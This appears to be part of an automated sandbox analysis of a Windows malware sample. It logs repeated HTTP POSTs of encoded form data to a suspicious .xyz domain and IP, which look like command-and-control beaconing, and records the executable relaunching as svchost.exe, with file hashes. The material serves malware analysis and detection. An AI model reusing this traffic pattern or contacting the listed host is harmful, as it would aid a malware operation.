Jan 10, 2025 20:11:47.197618961 CET	733	OUT	POST /4inx/ HTTP/1.1 Host: www.oneeyetrousersnake.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 196 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.oneeyetrousersnake.xyz Referer: http://www.oneeyetrousersnake.xyz/4inx/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 68 42 37 6a 69 4c 71 44 67 78 7a 42 54 54 43 33 77 34 2f 38 44 52 34 6e 6c 6d 77 38 67 6e 78 4a 6e 74 64 51 6e 63 2b 57 2b 44 36 41 5a 6c 48 79 62 64 50 6c 69 53 6d 57 68 41 76 76 55 79 57 75 45 71 43 4f 49 6c 78 54 70 75 69 6f 73 68 54 39 54 2f 62 63 6a 61 6c 6c 51 64 41 39 37 37 78 41 32 43 4f 77 6d 61 2f 37 47 76 4e 53 33 69 4d 31 44 50 68 41 2f 46 68 2b 63 44 63 6b 38 51 4c 44 4e 32 69 75 76 41 5a 4d 6d 59 50 75 4d 4a 42 74 4c 4e 70 4e 49 4d 64 76 78 2f 58 41 62 6d 74 37 35 4e 57 77 6f 5a 70 67 5a 44 31 67 68 52 42 48 77 5a 49 4c 64 4c 39 6d 5a 58 4f 2b Data Ascii: rdmhfXe=hB7jiLqDgxzBTTC3w4/8DR4nlmw8gnxJntdQnc+W+D6AZlHybdPliSmWhAvvUyWuEqCOIlxTpuioshT9T/bcjallQdA977xA2COwma/7GvNS3iM1DPhA/Fh+cDck8QLDN2iuvAZMmYPuMJBtLNpNIMdvx/XAbmt75NWwoZpgZD1ghRBHwZILdL9mZXO+
Jan 10, 2025 20:11:47.778930902 CET	1236	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 19:11:47 GMT transfer-encoding: chunked connection: close Data Raw: 31 31 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 [TRUNCATED] Data Ascii: 11FA<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C [TRUNCATED]
Jan 10, 2025 20:11:47.778949022 CET	1236	IN	Data Raw: 62 69 4a 59 56 4e 52 6a 38 36 63 53 4a 75 75 6a 32 31 42 66 6a 70 35 32 50 58 41 53 53 69 43 31 51 45 2f 30 69 4b 6d 78 61 55 74 67 41 4a 79 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 Data Ascii: biJYVNRj86cSJuuj21Bfjp52PXASSiC1QE/0iKmxaUtgAJyW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCD
Jan 10, 2025 20:11:47.778959990 CET	1236	IN	Data Raw: 6a 47 59 32 67 4d 49 39 55 4c 67 58 34 57 67 75 31 44 75 55 63 79 39 51 6f 45 75 4d 76 71 36 31 70 79 48 67 2b 4a 38 50 6e 6b 45 35 66 52 48 73 54 31 39 44 38 46 45 4f 42 39 77 66 68 39 53 47 7a 5a 42 43 64 31 4d 61 37 6a 48 4b 56 59 4c 5a 49 5a Data Ascii: jGY2gMI9ULgX4Wgu1DuUcy9QoEuMvq61pyHg+J8PnkE5fRHsT19D8FEOB9wfh9SGzZBCd1Ma7jHKVYLZIZAsc+xDpOnLDj7xxZvrnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwY
Jan 10, 2025 20:11:47.778971910 CET	1236	IN	Data Raw: 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 Data Ascii: FnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKui
Jan 10, 2025 20:11:47.778985977 CET	896	IN	Data Raw: 55 49 35 5a 65 44 58 55 65 35 43 68 47 52 56 68 6f 45 57 2b 52 6c 51 71 7a 4f 79 75 2b 57 61 4b 62 61 4d 68 71 70 64 72 5a 66 42 2f 37 57 4d 35 73 4b 66 41 6a 4f 4a 6e 51 4f 4a 63 71 42 63 4b 4b 64 4d 56 38 71 64 30 2f 75 30 34 79 65 4f 6a 6d 4c Data Ascii: UI5ZeDXUe5ChGRVhoEW+RlQqzOyu+WaKbaMhqpdrZfB/7WM5sKfAjOJnQOJcqBcKKdMV8qd0/u04yeOjmLsO6wIfJgL9nx5MPBi5i8t+ihh4HRsLYK2AWBmZvBinGMLTL/+NtT+Ibzj5JINMTtmzadPzTw3nnhQSfYwrujUi8y5qq+bX5FMGkvZcXS+xB4grY5PUfCZ2tf49O1/6DCuGJ+HcuF0JZ7GDSckBH4NHuJMnUQZBNdL
Jan 10, 2025 20:11:47.778996944 CET	1236	IN	Data Raw: 46 4c 69 31 47 44 30 54 56 77 52 72 58 30 44 35 2b 49 46 69 34 42 56 4f 72 56 5a 4e 71 65 53 4d 41 6d 62 4f 44 6a 5a 76 62 59 5a 54 34 4b 31 37 53 39 56 6a 37 4c 68 74 7a 48 72 72 2f 59 4b 6c 76 54 6a 2f 4e 6a 47 78 75 59 46 54 33 49 75 37 66 30 Data Ascii: FLi1GD0TVwRrX0D5+IFi4BVOrVZNqeSMAmbODjZvbYZT4K17S9Vj7LhtzHrr/YKlvTj/NjGxuYFT3Iu7f0okac7Wo9gJP3J3p6rjlVhZwWruneg6YGhXL5O9pwChPdsvUiM8QYlxHdC8VEm1VzJ5FIsgffR0uMU1K1NBAKNIys37Xbyqdy9baVMJDqcbG5tySVZsZcFD3TiWX2P5KqCS/lnWaY6Y8u2/OLa181I//Q42NP3LXzq
Jan 10, 2025 20:11:47.779004097 CET	1236	IN	Data Raw: 35 4d 52 2f 32 53 51 44 76 46 69 6a 67 7a 37 5a 4a 41 50 2f 32 4f 4f 44 2f 70 69 6a 67 2f 36 5a 4a 41 50 2f 32 4b 4f 44 50 74 6b 6b 41 37 78 5a 35 4d 52 2f 32 57 53 45 4f 6c 67 6b 41 74 73 41 41 41 41 41 46 79 48 43 69 39 6c 6b 77 37 34 5a 5a 49 Data Ascii: 5MR/2SQDvFijgz7ZJAP/2OOD/pijg/6ZJAP/2KODPtkkA7xZ5MR/2WSEOlgkAtsAAAAAFyHCi9lkw74ZZIQ6WaRDMhjjwz1ZZAP/2SPEP9kjxD/ZI8Q/2SPEP9lkA//Y44M92SRC8lkkRHnZZIO+12OBDRhiwpJYo8O0VmFBihVfwAGYo4PdGeTEf9kjxD/ZI8Q/2SPEP9kjxD/Z5QR/2KOCHpVfwAGWYkGJWWQDs5kjQNRSG0A
Jan 10, 2025 20:11:47.779016972 CET	1236	IN	Data Raw: 3b 62 61 73 65 36 34 2c 64 30 39 47 4d 67 41 42 41 41 41 41 41 4c 44 41 41 42 49 41 41 41 41 43 4f 46 77 41 41 4c 42 57 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 30 5a 47 56 45 30 63 47 6f Data Ascii: ;base64,d09GMgABAAAAALDAABIAAAACOFwAALBWAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGoEqG4LpJByweAZgAIcGCIEYCZoWEQgKhO1IhJwbC4dkAAE2AiQDj0QEIAWNOAeaYwyBI1uUCpID5cbuH9ecjgwq3YYQBPPTZWZv5Rs4HRaCOP21M7bnujyaj5ZWMd0mdbeD7Q+5niD7/////9+xTGS4Lgc1SVtaGBT
Jan 10, 2025 20:11:47.779028893 CET	1236	IN	Data Raw: 52 48 51 74 4a 78 70 4f 33 4f 2b 31 2f 63 39 4f 6a 30 6d 51 4f 7a 76 34 4f 37 75 49 66 56 6b 73 33 34 55 4d 6d 6a 79 72 4b 61 45 6f 53 56 66 64 4c 46 36 30 2b 4f 58 65 6c 6c 79 70 71 6a 54 61 55 6e 59 32 56 2f 59 5a 39 2b 5a 37 61 6b 6b 4f 47 41 Data Ascii: RHQtJxpO3O+1/c9Oj0mQOzv4O7uIfVks34UMmjyrKaEoSVfdLF60+OXellypqjTaUnY2V/YZ9+Z7akkOGA9GonTXGoK8XfgQZa38JGOYkoGNg+6I/7o9vkybIu2mgwR/4yUWR5ZiO5FbloolXmcttuawUqzvE1anTQI8Muw93hfOJAwnQaJyFqxOX/+jSm/vwZoSwiSgAABEnz83Cex/n0Vih8QOOcxrrVKn6mmKYhA3llp8FIM
Jan 10, 2025 20:11:47.779042959 CET	1236	IN	Data Raw: 67 6e 63 2f 59 2b 72 54 74 7a 58 74 64 64 39 61 62 57 49 45 42 64 30 52 6b 62 45 65 61 48 76 7a 36 44 66 74 62 32 6d 6f 35 74 71 76 4a 35 34 53 4e 49 45 47 73 34 57 56 6d 52 55 34 66 58 4e 43 67 46 39 39 4b 70 51 41 34 4a 66 33 76 42 6e 65 2f 67 Data Ascii: gnc/Y+rTtzXtdd9abWIEBd0RkbEeaHvz6Dftb2mo5tqvJ54SNIEGs4WVmRU4fXNCgF99KpQA4Jf3vBne/gnyk+v/h8DZwCctRrhAkVCUKFS0fKhAAapQGVSuHFWhGqpRg6otFhYWBy06LiymeLS49sLWtRVpW/dg99PQHqTDHmahPcmGPc1Dex2GvYmivSuAGDBA3YcQAmeqshC57/3PxyB/6bOUD0YMcMw3IISwurzxeIBBT2O
Jan 10, 2025 20:11:47.783998013 CET	1236	IN	Data Raw: 51 57 32 42 37 30 64 78 31 45 42 71 56 2f 72 79 41 33 67 42 49 68 74 46 42 5a 32 4c 34 51 61 6d 4d 52 5a 46 6d 78 36 32 57 39 72 70 4f 4a 67 65 56 42 32 47 68 38 32 4e 69 49 33 53 69 50 64 43 45 71 52 6b 35 42 52 31 30 49 51 65 59 32 42 6b 59 6d Data Ascii: QW2B70dx1EBqV/ryA3gBIhtFBZ2L4QamMRZFmx62W9rpOJgeVB2Gh82NiI3SiPdCEqRk5BR10IQeY2BkYmZhTfNii7FEWsasxGoKCu09rBLlhgDnjF0R9rPiDmkdWz5KK+W4nA1zVuKdTbBVtdTUQ4wiq9TvZuF8+SBsb0XajqvddEYiUAc6a4KtOZIMygOv+GlCDaKWC0CgI2FFiEsKitEE8VCiTYDN1F79a6Yes4k7IQlSMnI

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	64528	63.250.43.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:50.325601101 CET	757	OUT	POST /4inx/ HTTP/1.1 Host: www.oneeyetrousersnake.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.oneeyetrousersnake.xyz Referer: http://www.oneeyetrousersnake.xyz/4inx/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 68 42 37 6a 69 4c 71 44 67 78 7a 42 54 7a 53 33 6a 4c 6e 38 49 52 34 6b 70 47 77 38 75 48 77 68 6e 74 42 51 6e 5a 65 47 35 77 65 41 5a 45 33 79 61 63 50 6c 73 79 6d 57 76 67 75 45 62 53 57 62 45 71 2b 73 49 6b 4e 54 70 75 65 6f 73 67 44 39 50 59 50 66 69 4b 6c 6e 49 74 41 37 6a 62 78 41 32 43 4f 77 6d 61 72 42 47 72 68 53 32 53 63 31 4d 4e 5a 44 32 6c 68 2f 4c 7a 63 6b 34 51 4c 48 4e 32 69 41 76 46 6c 69 6d 63 2f 75 4d 4e 52 74 4c 63 70 4b 47 4d 64 6c 31 2f 57 6e 4c 6e 45 49 77 2b 65 34 70 49 31 64 4f 53 4a 45 69 77 39 5a 68 72 42 51 49 63 39 42 65 77 48 57 4d 73 76 48 33 6f 6c 44 46 44 64 59 66 33 5a 67 6f 4c 2b 34 72 77 3d 3d Data Ascii: rdmhfXe=hB7jiLqDgxzBTzS3jLn8IR4kpGw8uHwhntBQnZeG5weAZE3yacPlsymWvguEbSWbEq+sIkNTpueosgD9PYPfiKlnItA7jbxA2COwmarBGrhS2Sc1MNZD2lh/Lzck4QLHN2iAvFlimc/uMNRtLcpKGMdl1/WnLnEIw+e4pI1dOSJEiw9ZhrBQIc9BewHWMsvH3olDFDdYf3ZgoL+4rw==
Jan 10, 2025 20:11:51.267721891 CET	1236	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 19:11:51 GMT transfer-encoding: chunked connection: close Data Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 [TRUNCATED] Data Ascii: 200<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihA31EASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3 [TRUNCATED]
Jan 10, 2025 20:11:51.267761946 CET	1236	IN	Data Raw: 58 66 50 4e 75 47 64 62 69 4a 59 56 4e 52 6a 38 36 63 53 4a 75 75 6a 32 31 42 66 6a 70 35 32 50 58 41 53 53 69 43 31 51 45 2f 30 69 4b 6d 78 61 55 74 67 41 4a 79 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c Data Ascii: XfPNuGdbiJYVNRj86cSJuuj21Bfjp52PXASSiC1QE/0iKmxaUtgAJyW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39N
Jan 10, 2025 20:11:51.267777920 CET	448	IN	Data Raw: 65 36 39 39 73 45 4b 6a 47 59 32 67 4d 49 39 55 4c 67 58 34 57 67 75 31 44 75 55 63 79 39 51 6f 45 75 4d 76 71 36 31 70 79 48 67 2b 4a 38 50 6e 6b 45 35 66 52 48 73 54 31 39 44 38 46 45 4f 42 39 77 66 68 39 53 47 7a 5a 42 43 64 31 4d 61 37 6a 48 Data Ascii: e699sEKjGY2gMI9ULgX4Wgu1DuUcy9QoEuMvq61pyHg+J8PnkE5fRHsT19D8FEOB9wfh9SGzZBCd1Ma7jHKVYLZIZAsc+xDpOnLDj7xxZvrnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjY
Jan 10, 2025 20:11:51.267796993 CET	1236	IN	Data Raw: 4d 38 51 59 6c 78 48 64 43 38 56 45 6d 31 56 7a 4a 35 46 49 73 67 66 66 52 30 75 4d 55 31 4b 31 4e 42 41 4b 4e 49 79 73 33 37 58 62 79 71 64 79 39 62 61 56 4d 4a 44 71 63 62 47 35 74 79 53 56 5a 73 5a 63 46 44 33 54 69 57 58 32 50 35 4b 71 43 53 Data Ascii: M8QYlxHdC8VEm1VzJ5FIsgffR0uMU1K1NBAKNIys37Xbyqdy9baVMJDqcbG5tySVZsZcFD3TiWX2P5KqCS/lnWaY6Y8u2/OLa181I//Q42NP3LXzq3Py82/g7sVWb73XzD+9qeRvi3uPmo2E7UTN39l/c/vnS9f4509N/A8B8Sp4dDZbzB3ORT/nQfsKPo+5M/4Drl+2uAmCHNc8PFrhPu8tF4Nbh5c2ncsUjH/KlPrl8PdmVdM
Jan 10, 2025 20:11:51.267862082 CET	1236	IN	Data Raw: 41 57 6c 6c 4c 74 6e 4c 62 6b 4b 57 4d 49 54 78 79 49 53 39 45 46 4f 48 55 36 75 68 36 67 64 61 62 41 50 76 61 72 53 33 45 78 43 6d 6c 30 43 39 42 79 31 78 76 72 50 6f 37 4e 7a 51 56 47 71 44 35 33 77 71 62 70 31 7a 6e 68 43 2b 74 2f 62 46 67 33 Data Ascii: AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C9By1xvrPo7NzQVGqD53wqbp1znhC+t/bFg3qhva6BbojXb/vVSSp4SJC3HSTZ78jQQA5F9NwArbx4yTtgBXfPNuGdbiJYVNRj86cSJuuj21Bfjp52PXASSiC1QE/0iKmxaUtgAJyW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4a
Jan 10, 2025 20:11:51.267879009 CET	1236	IN	Data Raw: 64 62 44 72 2b 58 6b 6e 4b 69 33 4f 7a 4a 55 32 35 70 49 38 43 65 62 4b 52 6a 47 37 37 78 54 7a 7a 4b 46 4c 38 54 73 33 37 41 62 6e 4f 73 59 31 31 46 73 48 37 4d 79 4c 4d 64 37 63 36 4e 4a 31 4c 4e 64 63 37 6d 71 61 30 59 77 6e 30 59 6f 62 4f 63 Data Ascii: dbDr+XknKi3OzJU25pI8CebKRjG77xTzzKFL8Ts37AbnOsY11FsH7MyLMd7c6NJ1LNdc7mqa0Ywn0YobOc9y2Z/nh8z9UHnAeejTZucry9swpghar8rGUuj7MGKdktkKse699sEKjGY2gMI9ULgX4Wgu1DuUcy9QoEuMvq61pyHg+J8PnkE5fRHsT19D8FEOB9wfh9SGzZBCd1Ma7jHKVYLZIZAsc+xDpOnLDj7xxZvrnHjUdOA
Jan 10, 2025 20:11:51.267895937 CET	1236	IN	Data Raw: 61 73 65 36 34 2c 41 41 41 42 41 41 45 41 45 42 41 41 41 41 45 41 49 41 42 6f 42 41 41 41 46 67 41 41 41 43 67 41 41 41 41 51 41 41 41 41 49 41 41 41 41 41 45 41 49 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ase64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCDAB1jkQ6hY5ALwGGLCkkAAAABAAAAAAAAAAAAAAAAY5AORWOQDL5jkAykX4cAIAAAAAAAAAAAAAAAAAAAAABlkQuZaZYQ/2iVEP9mkw76ZJAOi39/AAIAAAABY5ELhWaTDvlolRD/aZcQ/
Jan 10, 2025 20:11:51.267911911 CET	1236	IN	Data Raw: 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 61 54 45 66 39 6d 6b 67 37 77 59 49 67 4c 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 6d 6b 77 78 56 5a 5a 41 4f 34 32 65 54 Data Ascii: SPEP9kjxD/ZI8Q/2aTEf9mkg7wYIgLLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmkwxVZZAO42eTEf9mkg//ZpEP/2eUEf9mkhDkY40FWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCDAB1jjwxpY44MyGOPDMtikAxqXYgRHgAAAAAAAAAAAAAAAAAAAAAAAAAA5+cAAMGDAADxjwAA+B8AAMADA
Jan 10, 2025 20:11:51.267929077 CET	1236	IN	Data Raw: 4e 65 74 76 65 33 68 47 48 4c 64 55 38 37 32 37 76 38 76 35 72 47 78 65 58 62 68 67 4d 4f 4d 62 53 59 77 67 51 6b 77 49 47 41 51 30 41 51 70 74 30 53 72 75 39 56 71 68 52 61 53 48 49 6a 58 33 37 44 33 57 76 67 68 68 41 44 43 2b 41 6b 7a 36 36 62 Data Ascii: Netve3hGHLdU8727v8v5rGxeXbhgMOMbSYwgQkwIGAQ0AQpt0Sru9VqhRaSHIjX37D3WvghhADC+Akz66b2f+/U/o7tLMy1No8LyAE8KVFmNLJlR3WdjdqqZZ/j7vqB3P5J2z+mYIE2dpLyUgAFD4A+31NpuR/tJc3/BpRBSpzajq23Rjo0mv91at9NuOey3ajptsitpUBqcUnpMsigIJAfCBN73LJdpisBoNC2NvDQSfkgJPE3
Jan 10, 2025 20:11:51.267947912 CET	1236	IN	Data Raw: 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 38 4f 50 51 55 42 36 49 47 69 48 68 65 66 4b 6d 2b 37 43 37 4a 78 4d 59 59 49 35 62 6c 4f 55 Data Ascii: lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9uDfdiD/4bfpwGyjbtRlAVuiRQL//5yv
Jan 10, 2025 20:11:51.273885965 CET	1236	IN	Data Raw: 70 47 57 6a 4b 79 63 76 49 4c 31 74 46 48 62 6c 68 31 37 58 35 77 76 55 58 76 6a 5a 6e 38 67 46 71 72 32 74 77 72 44 5a 6f 72 4f 72 6d 6b 48 73 59 4b 42 51 47 46 77 52 4b 48 68 57 4e 49 53 30 6f 6f 31 47 37 62 73 6c 44 31 4b 35 56 56 38 30 6f 31 Data Ascii: pGWjKycvIL1tFHblh17X5wvUXvjZn8gFqr2twrDZorOrmkHsYKBQGFwRKHhWNIS0oo1G7bslD1K5VV80o1KxWk4j+ZYZLNaGW0lhVWXSqMzmCw2h8sTCEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlY

Target ID:	0
Start time:	14:09:43
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\wWXR5js3k2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wWXR5js3k2.exe"
Imagebase:	0x650000
File size:	1'326'080 bytes
MD5 hash:	9D8150F9B27A2A93925717D361ADD951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:09:44
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wWXR5js3k2.exe"
Imagebase:	0x3d0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
